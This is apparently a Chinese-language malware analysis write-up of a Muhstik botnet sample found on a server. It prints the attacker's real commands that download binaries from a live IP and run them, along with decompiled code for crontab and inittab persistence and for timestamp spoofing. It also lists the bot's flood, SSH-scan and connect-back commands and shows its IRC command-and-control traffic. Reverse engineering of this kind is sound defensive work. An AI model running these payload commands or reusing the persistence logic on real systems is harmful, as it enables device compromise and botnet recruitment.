Muhstik僵尸网络
攻击数据整理
- 攻击源:73.172.20.172巴尔的摩,攻击者持有另一个地址:167.99.39.134
- payload 路径:http://167.99.39.134/.x/2sh
- 入侵路径:git shell 弱密码
- 执行命令:bash -c wget -qO - http://167.99.39.134/.x/2sh | sh > /dev/null 2>&1 > /dev/null 2>&1 &
- 时间2020年9月5日 17:43:46
- 各个文件的md5sum
- f23e4646f6332f907c0c97a119590d31 pty1
- fd745cb5dfc4cea01c7ad89862b4ac57 pty2
- 433f3e72131ff50ba2e28c3b4550aefd pty4
- 2a6ca5adf2732cbab2a7df1d85075aac pty5
- 3d8890fab82e6597456dd891222433bf pty10
- 7b6bde575a1dca8d1c04f51c0f20cff6 pty11
payload
wget http://167.99.39.134/.x/pty1 -O /tmp/pty1 ; chmod +x /tmp/pty1 ; chmod 700 /tmp/pty1 ; /tmp/pty1 ; cp /bin/busybox /tmp/loop0 ; cat /tmp/pty1 > /tmp/loop0 ; /tmp/loop0 &
wget http://167.99.39.134/.x/pty2 -O /tmp/pty2 ; chmod +x /tmp/pty2 ; chmod 700 /tmp/pty2 ; /tmp/pty2 ; cp /bin/busybox /tmp/loop1 ; cat /tmp/pty2 > /tmp/loop1 ; /tmp/loop1 &
wget http://167.99.39.134/.x/pty11 -O /tmp/pty11 ; chmod +x /tmp/pty11 ; chmod 700 /tmp/pty11 ; /tmp/pty11 ; cp /bin/busybox /tmp/loop1 ; cat /tmp/pty11 > /tmp/loop1 ; /tmp/loop1 &
wget http://167.99.39.134/.x/pty10 -O /tmp/pty10 ; chmod +x /tmp/pty10 ; chmod 700 /tmp/pty10 ; /tmp/pty10 ; cp /bin/busybox /tmp/loop2 ; cat /tmp/pty10 > /tmp/loop2 ; /tmp/loop2 &
wget http://167.99.39.134/.x/pty4 -O /tmp/pty4 ; chmod +x /tmp/pty4 ; chmod 700 /tmp/pty4 ; /tmp/pty4 ; cp /bin/busybox /tmp/loop3 ; cat /tmp/pty4 > /tmp/loop3 ; /tmp/loop3 &
wget http://167.99.39.134/.x/pty5 -O /tmp/pty5 ; chmod +x /tmp/pty5 ; chmod 700 /tmp/pty5 ; /tmp/pty5 ; cp /bin/busybox /tmp/loop3 ; cat /tmp/pty5 > /tmp/loop4 ; /tmp/loop4 &
rm -rf /tmp/2sh
把这些pty下载下来,检查了一下发现是加upx壳的二进制文件,去壳后用radare2看了下文件信息,没有链接外部库,走的全静态编译的路子,MIPS架构编译
upx -d pty1
rabin2 -I pty1
>> [output]
arch mips
baddr 0x400000
binsz 156930
bintype elf
bits 32
lang c
machine MIPS 3000
直接打开发现了一些有趣的东西,看起来支持了不少命令,推测是一个针对IOT的恶意程序,可能是MIrai的变种。把notice字段和支持的指令都记录下来。
[Infos]:
NOTICE %s :Receiving file
NOTICE %s :Unable to create socket.
NOTICE %s :Unable to resolve address.\n
NOTICE %s :Unable to connect to http.\n
NOTICE %s :Saved as %s\n
NOTICE %s :Hier komt de stoofvlees met friet jongens...
[possible commands]
PAN <target> <port> <secs> An advanced syn flooder kill most network drivers
UDP <target> <port> <secs> An udp flooder
HTTP <target> <port> <time> <threads> </shit.php?id=> <GET/HEAD/POST> HTTP flooder
STD <target> <port> <secs> <funny_data> STD2 flooder
UNKNOWN <target> <secs> another non-spoof udp flooder
KILL kill the client
KILL_PORT <port> kill a listener socket
GET <http address> <save as> downloads a file off the web and save it to hd
SSHX <192 or 192.168 or 192.168.0> <threads> <minutes> <user> <password> <http_string> <tftp_host> SSH scan provided credentials\n
SSH <192 or 192.168 or 192.168.0> <threads> <minutes> <http_string> <tftp_host> SSH scan
KILLALL kills all current packeting
HELP display help
CBACK <ip> <port> Connect back
IRC <command> send command to server
SH <command> exec command
此外这个程序里也有Http Header的字符串,还预定义了各种UA,不知道会是什么用处
rabin2 -zz pty1
>> [output]
GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n
...
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1
Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4
Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201
...(many User-Agents)
此外里面也存在字符集,或许是为了加解密?
1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY~!@#$%^&*()-+_<>?/:;}{][
扔到Virustotal里检查基本确定是一个恶意文件,下载地址的在线沙箱检测如下:

逆向分析
Ghidra打开之,自动分析过程中没发现什么加密问题,代码停在入口点的位置。我认为一个比较好的入手点是"HELP"字符串的调用位置,这里通常是处理命令行的地方,所以搜索HELP引用位置,定位到了该函数。这个函数的作用就是print help,调用这个函数的地方应该就是处理命令行参数的地方,运气好的话还可能直接就是main函数所在。
FUN_0040e41c可能是类似于printf的作用,用来打印一些log info,目前看来不太重要。
FUN_0040e168也可能与处理命令行参数有关,列为下一步分析对象。
FUN_00416d90的调用形式和exit(0)很像,暂定为exit(0)
void FUN_00405d24(undefined4 param_1,undefined4 param_2)
{
int iVar1;
iVar1 = FUN_0040e168(param_2);
if (iVar1 == 0) {
FUN_0040e41c(param_1,
"NOTICE %s :PAN <target> <port> <secs> = An advanced synflooder that will kill most network drivers\n"
,param_2);
FUN_0040e41c(param_1,
"NOTICE %s :UDP <target> <port> <secs> = A udp flooder\n",
param_2);
FUN_0040e41c(param_1,
"NOTICE %s :HTTP <target> <port> <time> <threads> </shit.php?id=> <GET/HEAD/POST>= HTTP flood\n"
,param_2);
FUN_0040e41c(param_1,"NOTICE %s :STD <target> <port> <secs> <funny_data> = STD2 flood\n"
,param_2);
FUN_0040e41c(param_1,
"NOTICE %s :UNKNOWN <target> <secs> = Another non-spoofudp flooder\n"
,param_2);
FUN_0040e41c(param_1,
"NOTICE %s :KILL = Kills the client\n",
param_2);
FUN_0040e41c(param_1,
"NOTICE %s :KILL_PORT <port> = Kills a listenersocket\n"
,param_2);
FUN_0040e41c(param_1,
"NOTICE %s :GET <http address> <save as> = Downloads a fileoff the web and saves it onto the hd\n"
,param_2);
FUN_0040e41c(param_1,
"NOTICE %s :SSHX <192 or 192.168 or 192.168.0> <threads> <minutes> <user><password> <http_string> <tftp_host> = SSH scan providedcredentials\n"
,param_2);
FUN_0040e41c(param_1,
"NOTICE %s :SSH <192 or 192.168 or 192.168.0> <threads> <minutes> <http_string><tftp_host> = SSH scan\n"
,param_2);
FUN_0040e41c(param_1,
"NOTICE %s :KILLALL = Kills all currentpacketing\n"
,param_2);
FUN_0040e41c(param_1,
"NOTICE %s :HELP = Displays this\n",
param_2);
FUN_0040e41c(param_1,"NOTICE %s :CBACK <ip> <port>\t\t\t\t\t\t\t\t= Connect back\n",param_2);
FUN_0040e41c(param_1,
"NOTICE %s :IRC <command> = Sends this commandto the server\n"
,param_2);
FUN_0040e41c(param_1,
"NOTICE %s :SH <command> = Executes acommand\n"
,param_2);
FUN_00416d90(0);
}
return;
}
由于找不到对print_help函数的直接引用位置,所以接下去我跟踪了FUN_0040e168,这个函数在整份代码总被多次调用,且格式具有高度相似性,推测是与命令执行直接相关
void funcs_family(args1, args2)
{
int var;
var = FUN_0040e168(args2);
if (var != 0)
// print infos and some other works ...
return;
// ...
return;
}
代码整理如下,看起来完成了主要是设置了一个global数组的值。
int FUNC_0040e168(void)
{
// 2 global var -- X, Y
// and we treated FUN_00410010() as f()
// FUN_004150d0() as g()
// FUN_00415380() as h()
int var_1;
int var_2;
int i;
var_1 = FUN_00410010();
if (var_1 != 0){
X += 1;
var_2 = g((X + 1) * 4);
for(i = 0; i < X - 1; ++i)
var_2[i] = Y[i]; // if they are all 4bytes long
var_2[X - 1] = var_1;
h(Y);
Y = var_2;
}
return var_1;
}
对这个函数里的调用函数继续分析,涉及到syscall指令比较特殊,利用reg v0传参,需要看汇编代码自行翻译。ra是MIPS中存放返回地址的寄存器,s0通常用于保存一些需要在后期恢复的变量。v0也常用于存储返回值,a3通常是存了参数。整个代码看下来有好几个隐式传值的过程,而且涉及到fork这种返回两次的,深感知识不足,手头没有交叉编译环境没法直接验证,只能靠猜测还原部分代码,感觉很大可能是fork函数。
# part of f() asm code
0041002c 24 02 0f a2 li v0,0xfa2
00410030 00 00 00 0c syscall
00410034 8f 99 81 c8 lw t9,-0x7e38(gp) # ->FUN_00410b50
00410038 10 e0 00 06 beq a3,zero,LAB_00410054 # if a3 = 0, jump to label
0041003c 00 40 80 21 _move s0,v0
00410040 03 20 f8 09 jalr t9 # FUN_00410b50
00410044 00 00 00 00 _nop
00410048 8f bc 00 10 lw gp,local_10(sp)
0041004c ac 50 00 00 sw s0,0x0(v0)
00410050 24 02 ff ff li v0,-0x1
LAB_00410054:
00410054 8f bf 00 1c lw ra,local_4(sp)
00410058 8f b0 00 18 lw s0,local_8(sp)
0041005c 03 e0 00 08 jr ra
00410060 27 bd 00 20 _addiu sp,sp,0x20
// f() pseud code
// FUN_00410b50 just return an address of global DATA DAT_00465900
// Treat DAT_00465900 as global_FX_pointer
bytes_4 FUN_00410010(void)
{
bytes_4 var;
bytes_4 *pointer;
var = sys_fork()
if (var != 0) {
pointer = global_FX_pointer;
*pointer = 0xfa2;
var = -1; // -1
}
return var;
}
至此的分析逐渐支持了我们之前对FUN_0040e168的猜测,它的作用应该就是fork一个新进程用于执行接收到的指令,然后在父进程内对某些数据做了拷贝,由于其对数据的修改是全局性的,很像库函数的写法,所以有理由推测这个函数实现的是类似库函数fork的功能,具体的命令调用函数(比如help)其写法就是fork编程里的fork wrapper,将FUN_0040e168命名为private_fork(),调用private_fork()的各个函数对应的就是具体的命令,它们在子进程中完成各自任务。
void xxx_command(arg1. arg2){
pid = private_fork();
// if in the child process
if(pid == 0){
// ... works
}
return;
}
重命名完对应命令的函数后,暂时无法从command_help获取更多信息了,有两个思路,一个是从entry逐步分析,另一个是从strings里找感兴趣的字符串,我选择第二个思路。
在重新检查这个程序内包含的文件时,看到了不少跟网络相关的字符串,以及muhstik, multihop等字符串,搜索了一下这个恶意程序可能是针对路由器这一类设备的bot?特别是mushstik是一个之前披露过的僵尸网络(见地址360netlab,顺带一提,获取pty样本的网址是一个wordpress,而下载pty脚本的网站首页只有360netlab几个字,应该是被拿下了),看了一下报告,里面的指令功能很像,同样都有HTTP Header,或许这个样本就是muhstik或者基于muhstik改造过的版本。(主要是我手上的样本没有符合的Hash)
我感兴趣的主要是
- 持久化和自启动如何完成?找crontab、initab等,还有各个可疑路径
- Muhstik下载部分的代码需要关注。
- muhstik字符串出现的位置。
最终的问题就是:
1. 它回连的服务器是谁?
2. 它在机子上做什么,除了DDOS -- (报告中表示还有挖矿,不过需要从另一个服务器下载文件,目前没发现)
我们将一个个解决问题,从简单的开始,积累更多信息。
持久化和自启动
持久化路径比较好找,在cpy_and_crontab(0x407f50的位置)函数中定义了各个路径,用一个循环将恶意文件copy到对应目录下面。Fun_00410f30应该是sprintf一类的函数,在缓冲区里放好"cp -f"的命令,然后在FUN_00416570进行调用该命令。这样这两个函数大概的作用就知道了。
if (iVar1 == 0) {
local_111c[0] = "/dev/shm"
local_111c[1] = "/var/tmp";
local_111c[2] = "/var/lock";
local_111c[3] = "/var/run";
local_110c = PTR_DAT_00460488;
uVar2 = FUN_004140f0(param_1);
i = 0;
while (i < 5) {
iVar1 = FUN_0040fe30(local_111c[local_1124],2);
if (iVar1 == 0) {
FUN_00410f30(auStack4360,0x1000,"cp -f %s \
%s/%s",param_1,local_111c[local_1124],uVar2);
iVar1 = FUN_00416570(auStack4360);
if (iVar1 != -1) {
FUN_00410f30(auStack264,0x100,"%s/%s",local_111c[local_1124],uVar2);
(*(code *)PTR_command_crontab_another_004630d4)(auStack264);
inittab_autorun(auStack264);
}
}
i += 1;
}
maybe_exit(0);
}
里面的函数逻辑比较易懂,这边直接贴出分析后的代码逻辑
void cpy_and_set_autorun(undefined4 malware_file_path)
{
int pid;
undefined4 malware_name;
int i;
undefined *store_path [4];
undefined cmd_buff [4096];
undefined auStack264 [256];
pid = private_fork();
if (pid == 0) {
store_path[0] = "/dev/shm";
store_path[1] = "/var/tmp";
store_path[2] = "/var/lock";
store_path[3] = "/var/run";
malware_name = parse_path_to_get_file_name(malware_file_path);
i = 0;
while (i < 5) {
// not pid, only used to store result
pid = is_file_exsited?(store_path[i]);
if (pid == 0) {
sprintf(cmd_buff,0x1000,"cp -f %s \
%s/%s",malware_file_path,store_path[i],malware_name);
pid = call_binbash_to_exec(cmd_buff);
if (pid != -1) {
sprintf(auStack264,0x100,"%s/%s",store_path[i],uVar2);
(*(code *)PTR_command_crontab_another_004630d4)(auStack264);
inittab_autorun(auStack264);
}
}
i = i + 1;
}
maybe_exit(0);
}
return;
}
跟自启动有关的就是crontab和initab这两处。先执行了下面的命令,查看是否有crontab任务。
crontab -l | grep %s | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * %s >/dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
inittab处则是把原有的/etc/inittab清空,加入运行malware的指令,并设置其在2345模式(多用户、命令行、图形)下,每当process终止后就重启一个新的process。此外把/etc/inittab的修改和生成时间改换为与/bin/ls相同,企图规避通过基于时间的安全检查。
void inittab_autorun(undefined4 param_1)
{
int iVar1;
undefined auStack4104 [4096];
iVar1 = private_get_uid();
if (iVar1 == 0) {
sprintf(auStack4104,0x1000,"cat /etc/inittab | grep -v \"%s\" > /etc/inittab2",param_1);
call_bash_to_exec_buf(auStack4104);
sprintf(auStack4104,0x1000,"echo \"0:2345:respawn:%s\" >> /etc/inittab2",param_1);
call_bash_to_exec_buf(auStack4104);
sprintf(auStack4104,0x1000,"cat /etc/inittab2 > /etc/inittab");
call_bash_to_exec_buf(auStack4104);
sprintf(auStack4104,0x1000,"rm -rf /etc/inittab2");
call_bash_to_exec_buf(auStack4104);
sprintf(auStack4104,0x1000,"touch -acmr /bin/ls /etc/inittab");
call_bash_to_exec_buf(auStack4104);
}
return;
}
总的来说手法比较糙,没有特别高明的持久化手段和重启手段且需要root权限,删除这几个文件夹下的恶意文件(pty)以及/etc/crontab即可。
Command_GET 下载
同样的分析过程,观察函数参数形式+socket编程的模板进行猜测(比如一些常见的宏AF_INET这些对应的数字),不过还是有一些不清楚。。这里把解读到的代码贴出来。简单来说,这里就是从指定路径接收文件,然后存在指定位置,两个都由参数给出。只是在接收文件的时候,前面部分应该是对HTTP头的处理,后面就不清楚为什么会关注数组中13、4、5这几个位置。没有什么特别敏感的信息。
void command_GET(undefined4 param_1,undefined4 param2,int argc,int argv)
{
char maybe_port [8];
char host_addr [1024];
byte recv_buf [4100];
// pid
recv_sock = private_fork(param2);
if (recv_sock == 0) {
if (argc < 2) {
maybe_info_log(param_1,"NOTICE %s :GET <host> <save as>\n",param2);
maybe_exit(0);
}
recv_sock = create_socket(2,2,0);
if (recv_sock == -1) {
maybe_info_log(param_1,"NOTICE %s :Unable to create socket.\n",param2);
maybe_exit(0);
}
// if argv[1] started with http:// ?
result = is_started_with_pattern?(argv[1],"http://",7);
if (result == 0) {
cpy_to_buff(host_addr,argv[1] + 7);
}
else {
cpy_to_buff(host_addr,argv[1]);
}
// find the '/' from url => example 192.168.0.1/xxx/yyy
server_path_index = 0;
while ((host_len = strlen(host_addr), server_path_index < host_len &&
(host_addr[server_path_index] != '/'))) {
server_path_index = server_path_index + 1;
}
// cut host_addr, split the raw url into two parts
// example 192.168.0.1/xxx/yyy => 192.168.0.1 '\0' xxx/yyy
host_addr[server_path_index] = '\0';
local_1424 = 2;
// 0x0000 0050
local_1422 = mask_to_get_low_8_bytes(0x50);
result = is_domain?(host_addr);
if (result == -1) {
// transform domain into ip addr
result = resolve_address(host_addr);
if (result == 0) {
maybe_info_log(param_1,"NOTICE %s :Unable to resolve address.\n",param2);
maybe_exit(0);
}
// unknown, maybe set sock info
FUN_00413920(&sock_info_struct,result[4],result[5]);
result = sock_info_struct;
}
sock_info_struct = result;
setport(maybe_port,0,8);
result = create_http_connect(recv_sock,&local_1424,0x10);
if (result != 0) {
maybe_info_log(param_1,"NOTICE %s :Unable to connect to http.\n",param2);
maybe_exit(0);
}
maybe_info_log(recv_sock,
"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en](X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif,image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding:gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n"
,host_addr + server_path_index + 1,host_addr);
maybe_info_log(param_1,"NOTICE %s :Receiving file.\n",param2);
result = private_open(argv[2],'wb');
LAB_004058e4:
recved_bytes = private_recv(recv_sock,recv_buf,4096,0);
if (0 < recved_bytes) {
if (recved_bytes < 4096) {
recv_buf[recved_bytes] = 0;
}
local_1430 = 0;
LAB_00405adc:
if (local_1430 < recved_bytes) {
// find the \r\n
iVar2 = is_started_with_pattern?(recv_buf + local_1430,'\r\n',4);
if (iVar2 != 0) goto LAB_00405acc;
// now it's \r\n, skip the \r\n
local_1430 = local_1430 + 4;
// recv data here but don't know what's it
while (local_1430 < recved_bytes) {
if (result[13] == 0) {
// unknown
FUN_00412ef0((uint)recv_buf[local_1430], result);
}
else {
if (result[4] < result[5]) {
pbVar3 = *(result[4]);
*pbVar3 = recv_buf[local_1430];
*(result[4]) += 1;
}
else {
// unknown
FUN_00413600((uint)recv_buf[local_1430], result);
}
}
local_1430 += 1;
}
goto LAB_00405afc;
}
goto LAB_004058e4;
}
LAB_00405afc:
// recv done
maybe_info_log(param_1,"NOTICE %s :Saved as %s\n",param2,*(undefined4 *)(argv + 8));
while (recved_bytes = private_recv(recv_sock,recv_buf,0x1000,0), 0 < recved_bytes) {
if (recved_bytes < 0x1000) {
recv_buf[recved_bytes] = 0;
}
local_144c = 0;
while (local_144c < recved_bytes) {
if (*(int *)(iVar1 + 0x34) == 0) {
FUN_00412ef0((uint)recv_buf[local_144c],iVar1);
}
else {
if (*(uint *)(iVar1 + 0x10) < *(uint *)(iVar1 + 0x1c)) {
pbVar3 = *(byte **)(iVar1 + 0x10);
*pbVar3 = recv_buf[local_144c];
*(byte **)(iVar1 + 0x10) = pbVar3 + 1;
}
else {
FUN_00413600((uint)recv_buf[local_144c],iVar1);
}
}
local_144c = local_144c + 1;
}
}
fclose(result);
close(recv_sock);
maybe_exit(0);
}
return;
LAB_00405acc:
local_1430 = local_1430 + 1;
goto LAB_00405adc;
}
Muhstik
这个Muhstik字符串引用处的函数我认为很可能就是main函数,位置在0x408a84,判断原因是函数的形式以及里面调用了很多命令函数,属于比较上层的存在。
void muhstik_func(undefined4 param1, undefined4 *param2)
{
// ...
inittab_and_autorun();
// ...
var = fork();
// ...
do{}
while
}
第一遍看下来,它大概完成了检查时间,检查crontab,设置crontab,在dns解析服务器里加入了8.8.8.8,此外最重要的是下面的这个命令:
maybe_info_log(uVar4,“NICK %s
\nUSER{=tex}%s localhost localhost :%s\n{=tex}",uVar1,“muhstik”,uVar3);
这个Muhstik在第一次被曝光的时候就有使用IRC的情况,这条命令是IRC的登录指令,它依旧在使用这个方式进行控制。muhstik应该就是IRC频道的名字,这说明maybe_info_log很可能不是纯粹的log函数,它应该是一个向IRC服务器发送消息/指令的函数。此外在程序里也存在诸如join、mode、who这类字符,支持了程序使用IRC命令的说法。
char_sets
这一部分分析了一段时间,觉得还是效率太低了,打算用动态调试的方法检验。
跟踪这一串字符串,定位至0x00409c84,代码如下
undefined4 use_char_sets(void)
{
undefined4 uVar1;
int iVar2;
uVar1 = FUN_00410660(0); // call sys
FUN_00416014(uVar1);
uVar1 = FUN_004150d0(2);
FUN_00413a60(uVar1,0,2);
iVar2 = thunk_FUN_00415df0();
FUN_00410f80(uVar1,&DAT_0041e724,
(int)
"1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY~!@#$%^&*()-+_<>?/:;}{]["
[iVar2 % 0x55]);
return uVar1;
}
跟踪第一个函数00410660,代码如下,又是一个syscall的实现,之后遇到不再详细列出。0xfad=401300–>对应sys_time
undefined4 FUN_00410660(void)
{
undefined4 uVar1;
undefined4 *puVar2;
int in_a3;
uVar1 = 0xfad;
syscall(0);
if (in_a3 != 0) {
puVar2 = (undefined4 *)FUN_00410b50();
*puVar2 = 0xfad;
uVar1 = 0xffffffff;
}
return uVar1;
}
看来是一个与时间有关的函数,用于被控制端的定时器?
网络分析
环境准备
使用QEMU进行MIPS架构程序的运行。也正好借这次了解了一下QEMU,在Linux上目前最易用的应该是qemu-user-static, 能够在本机上运行MIPS程序,对于开发者来说可能比较方便,跑一跑安全的程序是没问题的。但我不想让恶意程序污染我的机器,所以需要采用别的方案:
- Vbox虚拟机 + QEMU user-static : 嵌套进行模拟,在Vbox里新建一个测试用的Linux,安装qemu相关的组件,然后在上面运行MIPS程序。这个方案的优点在于,Vbox内的工具比较齐全,不需要太多额外配置即可用作一个沙盒观察程序行为,且虚拟机环境怎么折腾也不心疼。不足在于,比较吃硬件,且如要使用gdbserver方案对MIPS调试依旧要进行配置。
- 本地Qemu system : 本地开一个qemu虚拟机,不在user-mode下工作,性能比方案1要高,但也多了一些危险性(万一正好装上带逃逸漏洞的程序),此外需要解决文件传输问题
最后采用了方案2,先进行抓包。
在客户机(debian-mips)运行了pty1, 效果如下

检查了initab和crontab的内容,都被篡改。

crontab

网络包
运行后抓包,整理如下

- 查询了irc.deutschland-zahlung.net的服务器地址(DNS) — 121.46.26.158
- 发送了SYN请求,目标为2407,被拒了
- 查询irc.shadow-mod地址(DNS)
- 接下来是一个TCP的连接建立,对象为162.249.2.189:2407
- 接下来的内容看了一下是IRC的NICK命令,故在wireshark里设置以IRC协议进行解码,得到了以下结果
NICK M|f|0|2138795|debian-m
USER muhstik localhost localhost :muhstik-11052018
PING :104B17BE
PONG :104B17BE
:s5.webm 010 M|f|0|2138795|debian-m s5.webm 0
:s5.webm 001 M|f|0|2138795|debian-m :
:s5.webm 002 M|f|0|2138795|debian-m :
:s5.webm 003 M|f|0|2138795|debian-m :
:s5.webm 004 M|f|0|2138795|debian-m :
:s5.webm 005 M|f|0|2138795|debian-m :
:s5.webm 005 M|f|0|2138795|debian-m :
:s5.webm 005 M|f|0|2138795|debian-m :
:s5.webm 422 M|f|0|2138795|debian-m :MOTD???
MODE M|f|0|2138795|debian-m -xi # hide your self (hash your ip and invisible from /who)
JOIN #em :8974
WHO M|f|0|2138795|debian-m
:M|f|0|2138795|debian-m!muhstik@223.129.4.122 JOIN :#em
:s5.webm 332 M|f|0|2138795|debian-m #em :1000
:s5.webm 333 M|f|0|2138795|debian-m #em M 1592675044
加入这个IRC,没发现什么,把控制的机器都隐藏了应该是。
动态调试
采用GDBserver (QEMU Guest) + GDB-Multiarch (HOST) + 端口转发进行调试。其实没怎么调试,只是跟踪了一下Muhstik函数的流程,主要是试着用QEMU调其他架构的程序。这个恶意代码好在是个全静态的,Ghidra暂时没找到导出符号表的方法,多少有些不便。记录一下调试的操作。
QEMU:
前往仓库下载相关MIPS的Mirror和内核,因为我是32位大端,下载debian_wheezy_mips_standard.qcow2和vmlinux-3.2.0-4-4kc-malta。注意内核版本最好不要太老,gdbserver在较老的内核版本会崩溃,导致无法连接。
GDB: Gdb-multiarch(宿主机上安装), GDB-server从这个仓库安装,都是预编译好的二进制版本,注意选择7.7版本,7.12有一个sysprocmask的bug
接着做一个cdrom用于挂载,给客户机传文件(其他传文件的方法可以参考arch wiki),gdbserver和要分析的文件一起打包进去。
genisoimage -o [xxx.iso] -r [your file path (can be dir)]
用如下脚本启动qemu,这个脚本把宿主机上的10022端口和客户机的31037端口绑定。
qemu-system-mips \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-boot c \
-nic user,hostfwd=tcp::10022-:31037 \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-cdrom pty.iso
在虚拟机内部挂载sdr0,把文件拿出来就行。客户机用gdbserver监听31037端口,宿主机连接本地10022端口即可开始调试。
小结
讲道理,这是个MIPS架构的binary,在我服务器上并不能运行,可能只是IOT设备大范围扫描中招的机子,没做架构的筛查。
Reference
[1] https://blog.malwaremustdie.org/2019/09/mmd-0064-2019-linuxairdropbot.html (一个酷酷老哥的博客,同样调用了0xfa2,分析思路可以参考)
[2] https://e-mailky.github.io/2017-09-07-mips_instruction (MIPS Instructions)
[3] https://godbolt.org/ (永远滴神!在线compiler)
[4] https://blog.netlab.360.com/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/ (muhstik)
[5] https://s.tencent.com/research/report/1078.html (最终找到了关于这个的报告) : 我只发现了2sh的脚本,应该合理推测还存在1sh、3sh的脚本。1sh脚本功能类似,只是存放目录变成了ar/run/,针对物联网设备。
[6] http://www.sigma.me/tag/mips (syscall on MIPS Linux)
[7] https://wiki.archlinux.org/index.php/QEMU_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)#%E7%BD%91%E7%BB%9C (QEMU arch wiki)
[8] https://e3pem.github.io/2019/08/23/mips-pwn/mips-pwn%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/ (环境搭建,仅参考)